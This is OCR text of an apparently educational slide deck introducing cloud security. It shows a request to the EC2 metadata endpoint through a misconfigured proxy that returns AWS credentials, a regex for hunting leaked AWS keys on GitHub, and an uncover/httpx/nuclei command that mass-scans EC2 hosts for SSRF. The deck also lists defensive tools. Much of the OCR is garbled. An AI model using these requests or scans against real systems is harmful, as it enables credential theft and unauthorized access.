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Introduction to Cloud Security

e (loud Security is a set of policies,
strategies, controls, procedures, and
practices designed to safeguard the data,

resources, and applications hosted on the
cloud.




Why to Learn Cloud Security ?

Cloud Security is critical since most organizations

are already using cloud computing in one form or

another.

Worldwide end-user spending on public cloud

services is forecast to grow 20.4% in 2022 to total -
" "WHYDOWEHAVETO /&
494.7 billion, up from $410.9 billion in 2021, o I.EARN”AI.I.ITHIS‘S‘I‘UFF" . She

according to the latest forecast from Gartner, Inc



https://www.gartner.com/en/newsroom/press-releases/2022-04-19-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-reach-nearly-500-billion-in-2022#:~:text=IaaS%2C%20DaaS%20and%20PaaS%20to,latest%20forecast%20from%20Gartner%2C%20Inc.
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Demo Time

These aren't the access_tokens you're looking for
Running Cloudlist with Nuclei

EC2 Takeover via Misconfigured Reverse Proxy
Amazon EC2 SSRF &

Misconfigured GCP Bucket Policy

Public Buckets by GrayhatWarfare
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What’s Common ?
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Azure

DigitalOcean

Keys, Tokens, Secrets
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These aren’t the access_tokens you're looking for
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Where to Look for ?

Github Code Search

3 Gwendal Le Coguic @gwendallecoguic - Nov 28
2 New GitHub search is @ @& &
o path: eny AWS_KEY [[AKIA[A-Z0-8{12,})/

Filter by

Code

o Re

JavaScript Files & Comments

var aws = require('aws-sdk');

const multer = require('multer’');
const multerS3 = require('multer-s3');
const config = require('../Config');

const bucketName = "uber-eats-images-cmpe273";
const region = "us-east-2";

//awsAccessKey = AK
//awsSecretKey = gN H BN B DN [ /k5NHI ;

awsAccessKey = config.awsAccessKey;
awsSecretKey = config.awsSecretKey;

config.awsSecretKey;

const 83 = new aws.S3({
region,
awsAccessKey,
awsSecretKey,

});

const isImage = (req,file,callbck)=>{
if(file.mimetype.startsWith('image')){
callbck(null, true)
}else{
callbck(new Error('Only Image is allowed'))

}

.
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EC2 Takeover via Misconfigured Reverse Proxy

= oo | (<Iv) (307 | Target: https://posto-02.merch "\/ HTTP/ |

Hex Render S \n =
HTTE/1.1 200 OK

Date: Fri, 21 Jan 2022 04:33:58 GMT
Server: EC2ws

Content-Type: text/plain

1
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-insta 2
3
4
5 Accept-Ranges: none
6
7
8
9

nce HTTP/1.1
Host: 169.254.169.254

PSRN

Last-Modified: Fri, 21 Jan 2022 04:18:26 GMT
Content-Length: 1410
8 Vary: Accept-Encoding
10 {
13 "Code" : "Success”,
12 "LastUpdated” : "2022-01-21T04:18:20z",
13 "Type" : "AWS-HMAC",
14 "AccessKeyId" : 'ASIAXNCKGZCCNOABLSPZ',
15 "SecretAccessKey” : "g7DNpWaVhANOGEKeDO2DVxIuOBQULyOfxmd3gu8e"”,
16 "Token" :

"IQ0Jb3JpZ21luX2ViEPZ2/// ///////u!anI.XNvdeolwl'zdcoxlkcwnorhu.lbdt7zl.izznwk+b!swidjkb!uIkovmly
AJL1fEWXDWALiBQonhhwCsJILrRXnKO0jvuxrMTim8gKdy£3CyG8k8jsJyyraAwgl QYMSIMsyJQCgtV3
/S4£E9+KrcDnHtUbzCETR5G01HgmoZ3p8hhV1KiNn2vOGm3EB £YLgASCI7TnyMv ] SBSOuIb1:¥LdeGnl!AGﬂglIOVNbYPdo
X6uNqaVOoT+6HpHppOX0BYX40GCcBVhtZCa0cVIuATkoJ9br8LPpSIMSPWITKKPbBPEF /vXZKTBAtTONIeyrc7eVmdLVHY ZGE
05UIJ6£LSAR11pZ35jgf+AWyt/bySiu802gCU6b+BqrH45HRKXIQIW40FixerC2CHrUcUdhr9IPqFVu9I+MetI£D91udmaé

- af2B2I/TtxNLy VhGIKKHsUyVBsIxYUAaBlcyuFxhuaVm22t£d300QUttZPOWWXtG6CndSt+1PT7Ic765c7h/
Y KCgV1tGM+gPMyDPaMzhrIunIFGejK1DcoN/qUbWh3mILVh+2CqiFENBVU25pOEVDjpZ13kMUPg34amgN9Oes1Gocd VADOAM
AgyTVhajSeC/iBdtC1zYR1Id585zt/5PH19GFmM8 1 THBNNLEFZEX99vLi+4yK1gnFKScmOjpYthJyj1mNISvmaOkECORS/z
D2FVNO5ZYrzKkRAtmdMbsbfhNGTCS6KiPBjgLAmeUXZ8n0JazqLRI1BadIBECVLipPOF6A11Va8DolmQURDD2UQFZZISVIV
ppOPdedePl!YRgSOISAjACAGHIcJBzBooqsaLl5Hs9uvaiwuI9Yi0i8RunvlI9xxmLHypl9wnLSVYzbquyHBdlA8vN2+
J7DsLDicnf+4WlvnbV dVJG! JAVCIG1DSbd51mrcmuiuEd ZVpKPX+NpOjyHBwbU9J6p£0UpcXygRYA1LKI2u
):CAkIUQHjXONJVB8301v7dml’lpuOQNIABSI7+t93szmn/BRc 1cDsOv3a+9Mp51eLY0xveCS71hsMSg7X+tEoSXMrIDIHL
npj7BiT5RYJvvDw=="
1% "Expiration” : '2022-01-21110:261073'
18 )




Amazon EC2 SSRF




Wrote Nuclei Template @

root@ubuntu-s-1vcpu-2gb-blr1-81:~# uncover —q "Server: EC2ws" -silent | httpx -silent | nuclei -t test.yaml -vv

iu /iy R )
LN e SN,

Vel O 2 N ST N N ) S T

0 TN NN/ v2.8.3

projectdiscovery.io

[117] Using Nuclei Engine 2.8.3 (latest)

[117] Using Nuclei Templates 9.3.1 (latest)

[117] Templates added in last update: 2

[117] Templates loaded for scan: 1

[11/7] Targets loaded for scan: 34

[amazon-ec2-ssrf] Amazon EC2 SSRF (@dhiyaneshdk) [criticall
[amazon-ec2-ssrf] [http] [criticall http://imm s s Sesmm.
[amazon-ec2-ssrf] [http] [critical] http://3= =m smws SEmss———"
[amazon-ec2-ssrf] [http] [criticall] http://% E Igz
[amazon-ec2-ssrf] [http] [criticall] http://&
[amazon-ec2-ssrf] [http] [critical] http://== s s samemy
[amazon-ec2-ssrf] [http] [criticall http://& L- , _
[amazon-ec2-ssrf] [http] [criticall] http://4m p O
[amazon-ec2-ssrf] [http] [critical] http://® sm sems Secm—
[amazon-ec2-ssrf] [http] [criticall] http://&% EE
[amazon-ec2-ssrf] [http] [criticall http://38 F E
[amazon-ec2-ssrf] [http] [criticall] http://sm s = ese——
[amazon-ec2-ssrf] [http] [critical] http://®= - - -
[amazon-ec2-ssrf] [http] [criticall] http: Ilﬂ
[amazon-ec2-ssxf] [http] [criticall http://am
[amazon-ec2-ssrf] [http] [criticall] http://%m == sees ssses——
[amazon-ec2-ssrf] [http] [criticall http://¢8 . " N O




Misconfigured GCP Bucket Policy

& —> (C @& storage.googleapis.com/dev-blogapp-bf38088f43c¢370c1/

This XML file does not appear to have any style information associated with it. The document tree is shown below.

Y<Error>
<Code>AccessDenied</Code>
<Message>Access denied.</Message>
<Details>Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket.
</Error>



Public Buckets by GrayhatWarfare

(& 0 & buckets.grayhatwarfare.com h | $ A » 0O

T Filter B Ssearch K] Docs/API ¥ Top
Buckets ~ Files ~ v Keywords

a adWws AJ

Files Amazon Web Services Azure Blob Storage

2.5bn of 10.3bn 143.1k of 455.3k 8.0k of 91.6k

D D ®

Digital Ocean Spaces Google Cloud Platform Last Update
2.0k of 10.2k 0 of 77.5k © 19 Nov 2022

Search Public Buckets ¢ Random Files




Continuous Monitoring of Attack Surface

Vulnerability Identification

' . . Send Data (SIEM, Ticketing)
$ cloudlist nuclei notify — —

1 B

Discover Assets

OS DO
fastly /A
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Automation Workflow



https://github.com/projectdiscovery/nuclei-action

Open Source Tools for Cloud Security

RhinoSecurityLabs / pacu - Rhino Security Labs

nccgroup/ScoutSuite - NCC Group Plc

prowler-cloud / prowler - Prowler

salesforce / cloudsplaining - Salesforce
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https://github.com/RhinoSecurityLabs/pacu
https://github.com/nccgroup/ScoutSuite
https://github.com/prowler-cloud/prowler
https://github.com/salesforce/cloudsplaining

References

AWS Misconfigurations - Geek Freak

The Ultimate Guide for Cloud Penetration Testing

Penetration Testing in the AWS Cloud: What You Need to Know - Rhino

Security Labs

GitHub - 4ndersonlLin/awesome-cloud-security

Cloudlist is a tool for listing Assets from multiple Cloud Providers.



https://dhiyaneshgeek.github.io/cloud/security/2022/06/23/aws-misconfigurations/
https://www.prplbx.com/resources/blog/cloud-pentesting/
https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-cloud-need-know/
https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-cloud-need-know/
https://github.com/4ndersonLin/awesome-cloud-security
https://github.com/projectdiscovery/cloudlist
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ANY QUESTI



